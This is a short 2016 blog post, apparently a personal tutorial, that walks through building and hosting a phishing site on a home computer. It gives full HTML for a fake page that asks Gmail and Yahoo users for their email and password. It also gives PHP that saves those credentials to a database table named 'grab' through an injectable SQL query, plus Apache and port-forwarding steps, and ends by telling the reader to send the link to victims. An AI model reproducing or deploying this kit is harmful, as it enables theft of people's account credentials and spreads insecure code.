Sunday 14 February 2016

Simplest Phishing Site and Hosting

This is my simplest Phishing Site and I hosted 
it on my own Web Server / Home Computer.

 
Requirements:
Basic PHP/HTML
Basic Networking
Basic Security

1.First install WAMP.

2. The Code.

             The HTML FORM.
<html>
<body>
<h2>Online Database</h2>
<img src="groups-icon.png" width="140" height="160">
<b>Connecting people....</b>
<hr>
<h3>Kindly enter here for gmail users:</h3>
<img src="google-groups2.gif" width="250" height="260">
<form action="insert.php" method="post">
Email: <input type="text" name="Email"><br>
Password: <input type="text" name="Password"><br>

<input type="submit">
</form>
<hr>
<h3>Kindly enter here for Yahoo Users:</h3>
<img src="yahoo-groups.png" width="250" height="260">
<form action="insert.php" method="post">
Email: <input type="text" name="Email"><br>
Password: <input type="text" name="Password"><br>

<input type="submit">
</form>

</body>
</html>


          The PHP Code:

<?php
$con=mysql_connect("localhost","root");
mysql_select_db("insertdb",$con);


$sql="INSERT INTO grab (Email, Password)
VALUES ('$_POST[Email]','$_POST[Password]')";

if (mysql_query($sql,$con))
{
echo " Record added! You will be notified after confirmation and link will be emailed to you within 24 Hours.<br>" ;
echo " Kindly make sure You have entered both fields correctly.<br>";
echo " Thank You for Your Time ";
}
else
{
echo "No";
}

?>


3.Edit the httpd.conf file in Apache.
   Add these two line's:
     Allow from 192.168.10.100
     Allow from 192.168.10.1

    Note 192.168.10.1 is my Router and 192.168.10.100 is my PC.
    DHCP is running on the Router.
    Port forwarding has to be done on the Router to open up ports,
    in this case Port 80.

4.Run the server and send your dynamic IP as a link.
    Note change the index.php file to the HTML FORM FILE

No comments:

Post a Comment